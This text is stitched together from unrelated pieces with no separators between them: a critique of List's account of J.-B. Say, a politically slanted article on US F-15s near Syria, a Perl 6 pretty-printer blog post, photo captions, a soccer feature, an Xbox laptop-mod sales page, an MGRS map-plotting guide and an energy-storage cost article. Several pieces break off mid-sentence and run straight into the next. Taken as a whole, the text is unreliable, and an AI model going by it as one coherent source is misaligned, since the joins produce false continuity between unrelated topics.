List: “Say and McCulloch seem not to have seen or read more than the title of this book” (that of Antonio Serra from Naples); “both loftily throw it aside with the remark: it treats only of money, and the title by itself proves that the author laboured under the delusion that the precious metals were the sole objects of wealth. If they had read on further,” etc. (p. 456). Count Pecchio, History of Political Economy in Italy, etc. Paris, 1830: “Foreigners tried to rob Serra of the merit of having been the first founder of the principles of this science” (political economy). “What I have just said cannot be applied at all to Monsieur Say, who while always reproaching Serra for having regarded only the materials of gold and silver as wealth, nevertheless allowed him the glory of having been the first to make known the productive power of industry.... My reproach is addressed to Mr. McCulloch.... If Mr. McCulloch had read a little more than the title (of Serra’s book]”, etc. (pp. 76, 77).
One sees how Herr List deliberately falsifies Pecchio, from whom he copies, in order to discredit Monsieur Say. No less false is the biographical information given about Say.
Herr List says about him:
“First a merchant, then a factory-owner, then an unsuccessful politician, Say took up political economy, as people take up some new enterprise when the old one no longer succeeds.... Hatred of the Continental System, which ruined his factory, and of the originator of this system, who drove him out of the Tribunate, caused him to come out in support of absolute freedom of trade” (pp. 488, 489).
So Say supported the system of free trade because his factory was ruined by the Continental System! But what if he had written his Traité d'économie politique [1803] before he owned a factory? Say became a supporter of the system of free trade because Napoleon drove him out of the Tribunate! [100] But what if he had written his book while he was a tribune? What if Say, who according to Herr List was an unsuccessful businessman who saw in literature only a branch of business, had from his early youth played a part in the French literary world?
Where did Herr List obtain his new information? From the Historical Note on the Life and Works of J.-B. Say by Charles Comte, [101] which was published as an introduction to Say’s Cours complet d'économie politique. What does this note tell us? It contains the opposite of all List’s statements. Listen:
“J.-B. Say was intended by his father, who was a merchant, [4] to engage in trade. However, his inclination drew him to literature. In 1789 he published a pamphlet in behalf of freedom of the press. From the outset of the revolution he contributed to the newspaper Courrier de Provence, published by Mirabeau. He also worked in the office of the Minister Clavière. His penchant ‘for the moral and political sciences’, as also his father’s bankruptcy, caused him to give up trade completely and to make scientific activity his sole occupation. In 1794 he became editor-in-chief of the Décade philosophique, litéraire et politique. In 1799 Napoleon appointed him a member of the Tribunate. The spare time left him from his function as tribune he used to work on his Traité politique, which he published in 1803. He was dismissed from the Tribunate because he belonged to the few who dared to be in opposition. He was offered a lucrative post in the finance department, but he refused although chargé de six enfants et n'ayant presque point de fortune [burdened with six children and having almost no fortune].... since he would not have been able to carry out the duties of the post offered him without |
, seen no need to deploy the F-15C model to its Middle Eastern and Central Asian war theaters, where the opposing forces have no warplanes.
The sudden deployment, coming less than two months after Russia began sending its own SU-30 fighters to its new airbase in Latakia, Syria, makes clear that the jets have been deployed in response to Moscow’s air campaign.
“The only reason F-15s are going to Syria is to shoot down Russian jets,” the Washington Times titled its report Friday.
“US and Russia Sending Weapons to Syria Best-Suited for Shooting at Each Other,” a Time magazine headline declared on Friday.
The US warplanes are being deployed to the same area where unauthorized crossings into Turkish airspace by Russian warplanes allegedly occurred last month, events which were seized upon as the basis for the latest round of anti-Russian war rhetoric by US and NATO officials.
“The deployment of the air-to-air combat planes comes after two Russian warplanes, active in Syria, strayed into Turkish airspace last month, triggering strong condemnations from Turkey and its NATO allies. The deployment sends a message of NATO’s resolve to protect its members following the Russian planes’ intrusion,” US News and World Report noted Friday.
The additional jets were sent after the Turkish government asked for greater US military aid in securing its border area. Even prior to Friday’s announcement, the Turkish-Syrian border was already emerging as one of the most dangerous geopolitical fault lines worldwide. In October, the Turkish military shot down an unmarked military drone along the same border area, but the source of the drone has not been confirmed.
The stationing of the high-tech jets in this area marks another stride toward the establishment of a no-fly zone over northern Syria. The Obama administration has repeatedly resisted Turkish demands for an immediate no-fly zone, but last week top US defense officials told Congress that the option was “not off the table.”
Analysts agree that a no-fly zone would necessarily also entail the creation of militarized areas on the ground directly below. The US took a major step in this direction this week, announcing the formation of a new proxy army this week, dubbed the Syrian Democratic Force. The SDF is composed of the Kurdish and Arab militia groups that have received parachute drops of US military assistance during recent weeks.
The force is largely a renamed faction of the Kurdish People’s Protection Units (YPG) militias, according to reports stemming from members of militant groups under the SDF umbrella. “The Syrian Democratic Force is basically just the YPG. It’s a mask to avoid Turkish strikes and get more coalition support,” former YPG spokesman Alaa al-Sheikh told the Financial Times.
The US is seeking to rebrand the YPG, which has been implicated in systematic war crimes against the ethnic Arab population of northern Syria by a recent Amnesty International report, by grafting on small contingents of Arab fighters, including militants affiliated with Thuwar Raqqa, Jaish al-Thuwar and other factions with ties to Al Qaeda.
Under a thin “multi-ethnic” and “democratic” veneer, Washington is assembling yet another loosely federated proxy force, drawing largely from militant groups known to have razed dozens of villages to the ground during the past year alone.
It appears very likely that the SDF’s first mission will be to lead a ground offensive against the Syrian city of Raqqa, which now serves as a de facto capital for militants aligned with Islamic State in Iraq and Syria (ISIS). The planned attack on Raqqa faces skepticism by SDF’s Arab factions, however, who worry that YPG elements will take advantage of the offensive to further their own ambitions for a Kurdish state, creating conditions for ethnic conflict within the SDF coalition.
The heavy bombardment of Syrian targets by Russian air forces this week has underscored the grave risks accompanying the latest US escalation. The logic of imperialist military escalation finds highly concentrated expression on the battlefields of Syria. The bombardment of US-backed forces by Russian planes, intended by Moscow to bolster its client government in Damascus and create the conditions for a political settlement, has succeeded above all in provoking Washington to double-down on its own military operations.
With US-backed militias already engaged in bitter fighting against a Russian-led coalition along one front, in strategic areas of the western enclaves that remain largely under government control, Washington is preparing to launch an entirely new front.
Even as US Secretary of State John Kerry and Russian Foreign Minister Sergei Lavrov discussed the possibility of engaging the Syrian opposition and the Assad regime in political negotiations on Friday, dozens of freshly arrived US Special Forces were preparing yet another US proxy force for offensives against areas where Russian air units are already involved in heavy fighting.
The US ground deployment, announced by President Barack Obama last week in defiance of his repeated vows that he would not send US troops into ground combat, is only the beginning of a general intensification of US operations in both Syria and Iraq. US Defense Secretary Ashton Carter stated clearly last week that US forces are now planning their own “direct actions on the ground” in Syria and Iraq.
Washington and Moscow are being drawn ever closer to the front lines, on opposite sides of a raging civil war, under conditions where the US-backed coup in Ukraine and the massive US-NATO military buildup in Eastern Europe that followed have already dragged humanity to the brink of war between the two largest nuclear-armed powers.
NATO General Secretary Jens Stoltenberg on Thursday called for members of the US-led alliance to prepare military deployments aimed at countering Russian military strength in the eastern Mediterranean, Black Sea and Baltic Sea.
Speaking to the media during a visit to Portugal, where NATO is holding its massive “Trident Juncture 2015” war games, exercises that are transparently intended to prepare the alliance for a general, European-wide war against Russia, Stoltenberg warned of “a military build-up which provides Russians with what many experts call Anti-Access/Area Denial (A2/AD) capabilities.”
The NATO alliance must respond with a military buildup stretching across the Eurasian landmass, Stoltenberg said. “The question on our agenda now is how to overcome, how to deal with the increased A2/AD capabilities of Russia in the Baltic, the Black Sea, and now in the Mediterranean,” he said.
Please enable JavaScript to view the comments powered by Disqus.I’ve had my head down working on the “Grammars” chapter, and along
the way I’ve been using dd to look at things. It’s better than nothing, but it’s also very compact and unwrapped. I really wanted a pretty printer, and I was even prepared to write my own. But, I don’t have to. Here are three modules that can do it for you.
But Jeff Goff has already written Pretty::Printer. I wasn’t able to install it with panda or zef (and it’s not listed on modules.perl6.org). But, you can get it from the perl6-pp GitHub repo.
Here’s a structure that I want to inspect. It includes a Match object with a named capture:
use v6; use lib qw/lib/; my $match = ('123456789' ~~ m:g/$<digit>=(\d+:)/); my %hash = dog => 'Nikki', cat => 'Buster', butterfly => 'Hamadryas', array => [ 5.. 10 ], complex => { one => 37, two => "Buster", three => [ 3..7 ], four => { array => [ 4..7 ], hash => { dog => 'Newfie', } }, }, match => $match; ;
I can use the built-in dd to get this very compact representation that just needs whitespace in the right places:
Hash %hash = {:array($[5, 6, 7, 8, 9, 10]), :butterfly("Hamadryas"), :cat("Buster"), :complex(${:four(${:array($[4, 5, 6, 7]), :hash(${:dog("Newfie")})}), :one(37), :three($[3, 4, 5, 6, 7]), :two("Buster")}), :dog("Nikki"), :match($(Match.new(ast => Any, list => (), hash => Map.new((:digit(Match.new(ast => Any, list => (), hash => Map.new(()), orig => "123456789", to => 9, from => 0)))), orig => "123456789", to => 9, from => 0),))}
With Pretty::Printer (using the pull request I just sent), I can choose some formatting options:
use Pretty::Printer; my $pp = Pretty::Printer.new( pre-item-spacing => "
", post-item-spacing => "
", intra-group-spacing => "", pre-separator-spacing => '', post-separator-spacing => "
", indent-style => " ", ); say $pp.pp( %hash );
The output is a bit rough, but it’s much easier for me to read, especially with the match stuff:
${ :array($[ 5, 6, 7, 8, 9, 10 ]), :butterfly("Hamadryas"), :cat("Buster"), :complex(${ :four(${ :array($[ 4, 5, 6, 7 ]), :hash(${ :dog("Newfie") }) }), :one(37), :three($[ 3, 4, 5, 6, 7 ]), :two("Buster") }), :dog("Nikki"), :match($( Match.new(${ :ast(Any), :from(0), :hash(Map.new( :digit(Match.new(${ :ast(Any), :from(0), :hash(Map.new()), :list($()), :orig("123456789"), :to(9) })))), :list($()), :orig("123456789"), :to(9) }) )) }
There’s also Data::Dump (which you can install with panda:
use Data::Dump; say Dump %hash;
I find the output is a bit too detailed for most of my needs, but does fine with the Match object. Although you can’t see it here, the output can be colored if your terminal supports that:
{ array => [ 5.Int, 6.Int, 7.Int, 8.Int, 9.Int, 10.Int, ], butterfly => "Hamadryas".Str, cat => "Buster".Str, complex => { four => { array => [ 4.Int, 5.Int, 6.Int, 7.Int, ], hash => { dog => "Newfie".Str, }, }, one => 37.Int, three => [ 3.Int, 4.Int, 5.Int, 6.Int, 7.Int, ], two => "Buster".Str, }, dog => "Nikki".Str, match => [ Match :: ( $!CURSOR => undefined, $!from => 0.Int, $!made => (Any), $!orig => "123456789".Str, $!to => 9.Int, %!hash => { digit => Match :: ( $!CURSOR => undefined, $!from => 0.Int, $!made => (Any), $!orig => "123456789".Str, $!to => 9.Int, %!hash => { }, @!list => [ ], method ACCEPTS () returns Mu {...}, method BUILD (:@list, :%hash) returns Nil {...}, method Bool () returns Mu {...}, method Bool () returns Mu {...}, method CURSOR () returns Mu {...}, method Capture () returns Mu {...}, method FLATTENABLE_HASH () returns Mu {...}, method FLATTENABLE_LIST () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Method+{ }.new () returns Mu {...}, method Numeric () returns Mu {...}, method Numeric () returns Mu {...}, method Str () returns Mu {...}, method Str () returns Mu {...}, method WHICH () returns Mu {...}, method ast () returns Mu {...}, method caps () returns Mu {...}, method chunks () returns Mu {...}, method elems () returns Mu {...}, method from () returns Mu {...}, method from-args () returns Mu {...}, method gist () returns Mu {...}, method gist () returns Mu {...}, method hash () returns Mu {...}, method list () returns Mu {...}, method made () returns Mu {...}, method make (Mu \made) returns Mu {...}, method new (:$orig, :$from, :$to, :$CURSOR, :$made) returns Mu {...}, method new (:@list, :%hash) returns Mu {...}, method orig () returns Mu {...}, method perl () returns Mu {...}, method perl () returns Mu {...}, method postmatch () returns Mu {...}, method prematch () returns Mu {...}, method to () returns Mu {...}, ), }, @!list => [ ], method ACCEPTS () returns Mu {...}, method BUILD (:@list, :%hash) returns Nil {...}, method Bool () returns Mu {...}, method Bool () returns Mu {...}, method CURSOR () returns Mu {...}, method Capture () returns Mu {...}, method FLATTENABLE_HASH () returns Mu {...}, method FLATTENABLE_LIST () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Method+{<anon|140185815714976>}.new () returns Mu {...}, method Numeric () returns Mu {...}, method Numeric () returns Mu {...}, method Str () returns Mu {...}, method Str () returns Mu {...}, method WHICH () returns Mu {...}, method ast () returns Mu {...}, method caps () returns Mu {...}, method chunks () returns Mu {...}, method elems () returns Mu {...}, method from () returns Mu {...}, method from-args () returns Mu {...}, method gist () returns Mu {...}, method gist () returns Mu {...}, method hash () returns Mu {...}, method list () returns Mu {...}, method made () returns Mu {...}, method make (Mu \made) returns Mu {...}, method new (:$orig, :$from, :$to, :$CURSOR, :$made) returns Mu {...}, method new (:@list, :%hash) returns Mu {...}, method orig () returns Mu {...}, method perl () returns Mu {...}, method perl () returns Mu {...}, method postmatch () returns Mu {...}, method prematch () returns Mu {...}, method to () returns Mu {...}, ), ], }
And, there’s Data::Dump::Tree, which is also colorized.
use Data::Dump::Tree; say dump %hash;
It might be more comfortable for people used to the Microsoft hierarchical interfaces, but notice how it’s not that interesting for Match objects:
{6} @0 ├ array => [6] @1 │ ├ 0 = 5.Int │ ├ 1 = 6.Int │ ├ 2 = 7.Int │ ├ 3 = 8.Int │ ├ 4 = 9.Int │ └ 5 = 10.Int ├ butterfly => Hamadryas.Str ├ cat => Buster.Str ├ complex => {4} @2 │ ├ four => {2} @3 │ │ ├ array => [4] @4 │ │ │ ├ 0 = 4.Int │ │ │ ├ 1 = 5.Int │ │ │ ├ 2 = 6.Int │ │ │ └ 3 = 7.Int │ │ └ hash => {1} @5 │ │ └ dog => Newfie.Str │ ├ one => 37.Int │ ├ three => [5] @6 │ │ ├ 0 = 3.Int │ │ ├ 1 = 4.Int │ │ ├ 2 = 5.Int │ │ ├ 3 = 6.Int │ │ └ 4 = 7.Int │ └ two => Buster.Str ├ dog => Nikki.Str └ match => (1) @7 └ 0 = 123456789[0..9|A few of my images from Oklahoma D-Day, the world’s largest paintball game. Shot these while working with Peter Van Agtmael on this TIME Lightbox post: time.com/3923658/war-photographer-paintball-game/ 3 years agoJune 28, 2015
My Jay Peg’s Kickstarter is being featured on the Kickstarter Blog!
Take a look at it and if you can, please support the project. It can use all the help it can get.
https://www.kickstarter.com/blog/interview-josh-raab-on-photojournalism-and-global-gun-culture-0 4 years agoMay 12, 2014
Latest shoot for my Projection Nudes project. November, 2013. Integrating a bit of gelled flash as well. 5 years agoDecember 7, 2013
A few images from my assignment at the Eddie Adams Workshop XXVI. Brandon and Bryan Idrogo are boxers in training. October, 2013. 5 years agoNovember 24, 2013
The Old City, Jerusalem. July, 2013. 5 years agoNovember 5, 2013Former Mexican national team captain Fatima Leyva headlines foreign-local blend on Michigan Chill's first-year WPSL team
Buy Photo Former Mexican National Team captain Fatima Leyva, far left, celebrates with Michigan Chill teammates Jamie Cheslik and Madison Duncan (7) after a goal in an exhibition against Windsor FC on May 21. The Chill opens at home Wednesday night against Motor City FC. (Photo: Julia Nagy, Lansing State Journal)Buy Photo
LANSING – At 36 years old, coming back from a foot injury and playing her final summer of organized soccer, Fatima Leyva sticks out like a sore big toe.
She’s that good.
And, for the next two months, she’s Lansing’s own. Leyva, once the captain of the Mexican women’s national soccer team, is the headliner on Michigan Chill SC’s first-year Women’s Premier Soccer League team, which plays its home games at Hope Sports Complex on Lansing’s South Side.
“She’s different than any player I’ve had the opportunity to play with,” said Chill SC teammate and former Okemos star, Ashton Miller, an All-ACC midfielder last season as a sophomore at Duke University. “She’s so crafty. She can get out of any space, no matter how small, no matter how many people are on her. And she’s just so relaxed.”
Former Mexican national team captain Fatima Leyva is playing her final season of soccer for Lansing's new WPSL team. (Photo: Julia Nagy / LSJ)
Chill SC, which begins its home WPSL schedule Wednesday night against Motor City FC, is mostly a collection of Division I collegiate players. Some have local ties. Five are from MSU (the maximum allowed by NCAA rule). Others, including Miller, Williamston’s Caitlyn Clem (Wisconsin) and Okemos’ Erin Doster (UMass), are hometown kids who are collegiate standouts elsewhere.
The WPSL, around since 1997, is not all that different from Lansing United’s league, the NPSL. WPSL teams are both professional and amateur, but if they choose to be professional, college players cannot play. Chill SC is a completely amateur club. The value of this team to its players is in the development and experience.
But what makes this roster interesting — while also enhancing the experience and development — is Chill SC’s international oomph, primarily from Mexico. That includes Mexican national team players Fabiola Ibarra and Monica Flores, Mexican U-20 midfielder Eva Gonzalez and Brazil U-20 forward Jennifer Westendorf.
And, of course, Leyva.
Buy Photo Coach Jorge Eufracio yells to his Chill SC team during a friendly on May 21 in Lansing. Eufracio's connections have lured players from the Mexican national team, along with the area's top college stars. (Photo: Julia Nagy / Lansing State Journal)
All of them are in Lansing this summer because of their connection to 42-year-old Chill SC coach Jorge Eufracio, whose far-reaching ties to players, coaches and clubs — aided by stints working with the Mexican and Irish national organizations — allowed for Chill SC’s first roster to be such a compelling blend. And to have a player as notable as Leyva.
Eufracio’s relationship with Levya dates back a decade to his days coaching her with FC Indiana, which is now also in the WPSL (Chill SC won its opener there, 3-2, Friday). She hadn’t played competitively in two years until Eufracio asked her have a swan song in Lansing, to help him with this endeavor and to go out on her terms, perhaps launching her own coaching career this summer, as a player-coach.
She agreed. On the field, “We’re on the same channel,” Leyva said.
Her name has been mentioned as a possible replacement for Leo Cuellar, recently ousted, as Mexican women’s national team coach. She was a founding member of the national team in 1998 and played in the 1999 World Cup and the 2004 Olympics. From 2010-15, she played professionally in Russia.
“Fatima, in my country, is a big deal,” said Chill SC teammate Ibarra, a 22-year-old midfielder who scored a goal for the Mexican national team in last year’s World Cup in Canada.
Fatima Leyva (left), playing for Mexico here in 2007, escapes the United States' Carli Lloyd during an International Friendly in Foxboro, Massachusetts. Leyva is playing for Chill SC in Lansing this summer. (Photo: Elsa / Getty Images)
Leyva no longer has the wheels or endurance she once had. But she’s as efficient as ever.
“She knows when to (sprint) and when not and plays smart,” Eufracio said. “‘Do I have to run for the that? No, I know I’ll get it here. I’ll wait.’ She runs at the right time, to the right space and when she gets it, she knows what to do with the ball.”
Leyva’s value to Chill SC is not just how she impacts winning and community interest. It’s also her influence on teammates, all of whom are least 13 years younger than her, fascinated by her skills and pacing, and willing to listen.
“For me, it’s easy,” she said. “When I talked to them, there’s no argument.”
This is part of the developmental piece, which Eufracio sees as being at the core of what he’s trying to accomplish.
“If you really care about developing, forget about the score,” Eufracio said. “Sometimes you have to sacrifice the score. Like with defenders, instead of kicking long balls because you’re in a dangerous area, I want you to find someone and start passing. We want to play the right way. For me, I want them to win when they go back to their national team, when they go back to their college team.”
Buy Photo Former Okemos star Ashton Miller, an All-ACC player at Duke University, is on of many local players on the Michigan Chill roster. (Photo: Julia Nagy / Lansing State Journal)
Eufracio’s reputation for development helped to lure this diverse roster on short notice. This team wasn’t even an idea until last winter. That’s when Michigan Chill owner Kevin Mullin was introduced to Eufracio through a friend at a coaching convention.
“I was not looking at a women’s side at all,” said Mullin, a dentist by day. “We were basically looking for another (youth) coach.
“His connections in the soccer world were amazing. It was impressive enough and his background was strong enough, we actually restructured our entire youth organization to accommodate him.”
Mullin, his wife Julie — who plays a larger operational role for the club — and executive director Ben Jones hired Eufracio, making him Chill SBC Soccer Club girls technical director.
The WPSL team was Eufracio’s concept. And, as long as it doesn’t hemorrhage money, it fits with the club’s mission.
“A lot of our (elite players’) families were saying, ‘We want high-level training over the summer, but there’s nothing for the girls,’” Mullin said.
This summer, there is. Ashton Miller, for example, doesn’t have to make the four-hour commute to play for the Chicago Red Stars WPSL team, as she did a year ago. Emerging area high school star Olivia Trombley, just a junior at St. Johns, has a place to train with other elite and more seasoned athletes right in her own backyard. Trombley started Friday’s game and held her own in Chill SC’s win at FC Indiana, assisting on a goal.
Okemos’ Kristelle Yewah, who plays at MSU, scored for Chill FC in that game. As did MSU’s Jamie Cheslik. And, not surprisingly, Leyva.
“I don’t have 24-year-old legs,” Leyva said. “But I have a lot of experience.”
Contact Graham Couch at gcouch@lsj.com. Follow him on Twitter @Graham_Couch.
Chill SC home opener
Opponent: Motor City FC
When: 7 p.m. Wednesday
Where: Hope Soccer Complex, Lansing
Tickets: Adults $8; Children $5 (free 2-under)
Find a full schedule here.*PLEASE NOTE* I am in no way affiliated with Microsoft or Xbox. The XBOOK is simply a console modification for a Microsoft XBOX One. This is not a licensed Microsoft Product and should not be confused as such. It is a custom made item by EdsJunk.
It was only a matter of time until I got around to making a XBOOK ONE! For those of you not familiar with my previous work on xbox laptops, I call them XBOOKs. I made quite a few of the XBOOK 360s over the last couple years, probably around 30 of them. But the xbox 360 is old news… out with the old, in with the new! So I now announce the XBOOK ONE! One of the first laptop mods for the Xbox One. Hope you like it as much as I do! It all started about two months ago when I decided it was time to finally tear down a new xbox one… tear…. but I knew it would be worth the sacrifice of the xbox one to give birth to the XBOOK ONE! I wanted this new xbook to be cleaner, thinner, easier to build, and more over all more cool. The xbook 360 had a 19″ 720p screen, I wanted bigger and better! So I went with a 22″ LED LCD monitor. This things is incredible sharp, as it should be at 1080p resolution. I swear this thing looks better than on my big TV! On my old xbook, after playing long hours, my eyes would be tired of looking at a small screen, so I went with this bigger size, but all the while, I actually got the laptop another.25″ thinner. So the tear down began……. Since my last xbook build, I have acquired even more machines to help out with productivity. I have purchased two makerbot replicator 2s. (Check out my shop tour) These machines at first didn’t do much around my shop, but now that I have found there niche, they have been a huge asset around the shop. I am printing the corner pieces, brackets, custom component mounts and such that I just wasn’t able to do before. This has been HUGE in making the XBOOK ONE. It is giving me the opportunity to create things I just wasn’t able to before. Here are some parts. What is also different with 3D printing and to what I was use to with the laser and cnc router, is I now need to design in full 3D. There was a learning curve to this. But now that I understand it, it has also been a huge step in making these xbooks. I can now design the whole thing digitally and see what will fit and what wont. This also helps out tremendously for measuring parts. I sat down with Autodesk Inventor and drew up all of the parts and starting creating the XBOOK ONE. And then I was able to send each machine the parts it needs to make and then amazingly enough, everything matched up perfectly my first go! Which was impressive to me to say the least. Some other things I have done better on this version compared to my last xbook is the LCD LVDS Cable. The ones that come with most monitors, like the Vizio I’m using, the cable from the controller board to the lcd is about 4 inches long. This doesn’t play well when I’m trying to make a laptop. I need it much longer. I use to extend the cables myself, or have my good buddy Mike Burnette do it (There’s your shout out Mike). This involved cutting each of the 30 wires and extending them all individually and soldering all of them. This took a couple hours and the cable was much bigger than it needed it be. Well I found a solution! I discovered a company that will make custom LVDS cables for me at the length and specifications I need! Yes, this cost money, but money well spent I say! Its much thinner cable and no solder points! It gives it that much more professional look! I also changed the location of the speakers from the LCD bezel to the front of the unit. I did this because the screen is so big, anything I can cut off of it will be space well saved. The volume controls, along with the xbox controls, are all on the inside of the unit now instead of the out. No reason in particular except that I wanted to. A custom fan shroud was 3D printed to help save space as well. The stock xbox one fan is really tall. I was able to get more CFM with these fans then the one big fan. So far I have had not a single heating issue and it seems to be cooling efficiently. You can also see in that picture above about where all of the components went, there are some slight differences in the production run of these XBOOKs, but you get the general idea! Also, using all laser cut acrylic gave me the ability to keep the lines clean. I was able to cut through the walls of the case exactly where they needed to be, like the bluray drive opening for example. Also I was able to laser cut all of the screw holes for the components and hinges so everything lines up perfectly when assembled. This again was a improvement over the old design. As for the motherboard of the xbox, it was not changed in anyway to make it illegal to play on xbox live. No performance mods were done and is basically a stock xbox inside. I did not move any of the ports either, but they are all still accessible in the back of the unit. So you can still plug in your Kinect, audio out, HDMI in, USB ports and such. By leaving the ports in the stock location, it keeps the integrity of the xbox whole. That way I don’t have to worry about a faulty solder connection breaking over time. This just keeps the unit reliable. An optional HDMI output can also be added. Just pay for the extra components needed to include this. This unit can be fully customizable to your liking. The blue accents and corners you see on this unit can be any number of colors you want, there is a list on the bottom to choose. I can also change the color of the vinyl graphics and add your gamertag if you’d like. Everything is up to you!
I can do full graphic customization if you want as well, it does cost more to do full custom work, but let me know.
Please note that there may be minor differences on the design of the unit, as in Screw Locations, Air Vents and buttons. These may only be minor changes that are actually improvements on the units design and function.
Also please note that these units run on 110v AC Power, if your an international customer and need to use 220v or 240v, please plan on using some sort of step down transformer as I do not give any guarantee on using the system on other power systems.
Here is some examples of custom designs that can be done to your XBOOK. It costs a bit more due to the time it takes to make a one of a kind product, but really does set your XBOOK apart from the rest! This one is the Call of Duty : Advanced Warefare Edition!
Inside this unit is a Microsoft XBOX ONE. The xbox has not been altered in any way that would be illegal on xbox live. It has no performance modification or enhancements. The XBOOK is simply just a plastic case that holds a XBOX inside with a LCD Screen. I am in no way affiliated with Microsoft or Xbox. It does not have a xbox warranty as you loose the warranty as soon as you take a xbox apart. I will guarantee it will not be DOA. It is non returnable as these are custom made for each individual buyer.If you’ve read the first parts of this land navigation manual, you should now know how to read a topographic map, find your bearings, and orient yourself with a map and compass.
You’re ready to start doing some serious land navigation. With the aid of modern technology at the outset, you can get a whole lot more specific with your land nav; rather than just finding your way to a major landmark, you can locate a little stake in the ground.
To do that, you plot MGRS (military grid reference system) coordinates on your map before you head out. Why would you want to employ this old/new method of land nav?
So you can be antifragile.
Two is one, and one is none; which is to say, technology fails, and you need to have a contingency plan for when it does. Soldiers are required to know how to plot MGRS coordinates on a map with nothing but a military protractor, and how to find those coordinates in the field with a map and compass. That way, if GPS fails on a mission, they can still make it to their intended waypoints – even if they’re small and specific; with MGRS coordinates and a military protractor, you can plot a point on a map within 10 meters of accuracy.
For civilians, knowing how to plot MGRS coordinates by hand and navigate to them can be useful for active outdoorsmen. Let’s say you’re planning a weeklong hunting trip out in the wild. Part of your prep work should be knowing the MGRS coordinates for your start point and your secluded hunting cabin out in the woods. You can plot those points on your map and you’ll have a backup navigation tool in case you lose your GPS device or if it fails.
Besides the practical uses of knowing how to plot coordinate points and navigate to them, it’s just plain fun to do.
Prep Work
Before we learn how to use MGRS coordinates and get out into the field, we’re going to do some prep work to make sure that we have all the information we need to navigate.
Plotting Your Coordinates on the Map
Using a GPS or an online tool, you can acquire 8-digit MGRS coordinates for the various spots you’re targeting during your trek in the wilderness. You’ll then need to plot those points on your map, using a military coordinate protractor.
I’ll walk you through how to do that, using for an example the eight-digit coordinate number: 30469530
We’re going to split that up for easier reading:
3046 (this is our easting coordinate — the vertical lines that run north/south on your map).
9530 (this is our northing coordinate — the horizontal lines that run east/west on your map).
When reading and plotting MGRS coordinates, follow the rule of “right and up.” I’ll show you what is meant by this by continuing our example.
First, we need to find what square in our map we’re working with. To find that, we’re going to look at the first two digits in both the easting and northing coordinates. So our easting number is 30; our northing coordinate is 95.
So we’re in this general area. Time to get more specific. With the next two digits in both our easting and northing coordinates, we’ll be able to get within 10 meters of our spot. To do this, we need to bust out our military protractor.
Your protractor will likely have different scale grids. Make sure you use the one that matches your map’s scale, or else you’re going to be way off on your plotting. The map I’m using is a 1:24,000 scale so I’m going to use the 1:24,000 scale grid on my protractor. The horizontal numbers on your grid are for measuring your easting co-ordinates; the vertical numbers are for measuring your northing coordinates.
1. Line up 0/0 on the bottom left corner of your grid.
2. Move protractor right until easting grid line is lined up with second two digits of your easting coordinate.
3. Move up on the slot on your protractor using the second two digits of your northing coordinate.
Congratulations! You just plotted your first point using an 8-digit MGRS coordinate.
Continue the same process for any other points that you may have. I recommend putting a small number next to each dot to remind yourself of the order of your plots. You can see in the pic above, I wrote a “1” next to my plot.
Getting Your Bearings
Now that we have our coordinates plotted on the map, we need to determine the bearings from each coordinate to the next. We could use our compass as a protractor, but we’ll just use our military protractor because, well, it’s a protractor.
An easy way to do it is to simply draw a line from your first plot through the plot that you’re measuring a bearing on, like so:
So from point 1 to point 2, there’s a bearing of 165°.
In a notebook, write your bearing next to the coordinate for your first plot to remind yourself that when you’re at point 1, you’ll shoot a bearing of 165° on your compass to get to point 2.
So it would look like this:
30469530 165°
Now move to point 2 and repeat the same process to |
is somewhat higher than this – there are efficiency losses and cycles in the far future are potentially worth less than cycles now due to the discount rate.]
Lithium-ion batteries suffer from fairly rapid degradation. Getting 1,000 cycles out of a li-ion battery with full depth of discharge (draining it completely) is ambitious. Tesla’s PowerWall battery is warrantied for 10 years, or 3,650 cycles, which appears to be possible only because the battery is never fully drained. What Tesla sells as a 7kwh battery is actually a 10kwh battery that never allows the final 3kwh to be drained.
Other energy storage technologies, however, are far more resilient than lithium-ion.
Flow batteries can potentially be used for 5,000 – 10,000 cycles, with complete discharge every time, before needing refurbishing.
Adiabatic compressed air energy storage (CAES) uses tanks and compressors that are certified for 30 years or more of continuous use, meaning more than 10,000 cycles, again at complete discharge rather than the 70% discharge possible in lithium-ion.(In addition, CAES can be used to store energy for weeks, months, or years, something that batteries can’t do due to leakage.)
As an added bonus, CAES systems and some flow battery systems can be made with abundant elements that are cheaper and available in higher volumes than lithium. For instance:
LightSail Energy‘s compressed air tanks are made of carbon fiber, the primary ingredient of which (carbon) is the 4th most abundant element in the universe, and roughly 1,000x more abundant in the earth’s crust than lithium.
ESS’s flow batteriesare comprised almost entirely of iron, which is at least several hundred times more abundant in the earth’s crust than lithium.
[To be clear, lithium is available in quantities sufficient to make at least hundreds of millions of Tesla-class electric vehicles. There is no near-term lithium crunch. But there may be a long-term one.]
How big is the price advantage of more and deeper discharges? It’s difficult to compare apples-to-apples, because neither compressed air nor any flow battery chemistry have reached anywhere near the scale of lithium-ion. They haven’t gone nearly as far down the learning curve. At the same time, the cost of materials for a flow battery, for instance, should be comparable to or lower than for a lithium-ion battery.That’s approximately true for compressed air as well (though some more interesting differences apply, which I may return to in a future post).
If we assume then that flow and compressed air have similar up-front costs to lithium-ion, and a similar learning curve, we can project what a unit of electricity stored and retrieved in them will cost. We’ll do so by giving them a (conservative) 50% cost advantage to account for their many times longer lifetime. In reality, their cost advantage in the long term may be larger than this.
Even at 50%, however, we find that flow batteries and compressed air are much cheaper than lithium-ion, and reach the price points of a few cents per kwh much sooner. In the graph below, we see that, assuming a similar learning rate, flow batteries and compressed air reach around 4 cents per kwh round-tripped at around 1 million MWh of storage versus 10 million MWh for lithium-ion. They reach a price of 2 cents per kwh round-tripped (a true fossil-fuel killer of a price) at around 10 million MWh stored, versus 80 million MWh for lithium-ion.
Obviously, the above is just a projection. And for flow batteries and CAES, we have far less of a track record than for lithium-ion. Some preliminary data does support the notion that they’ll be cheap, however.
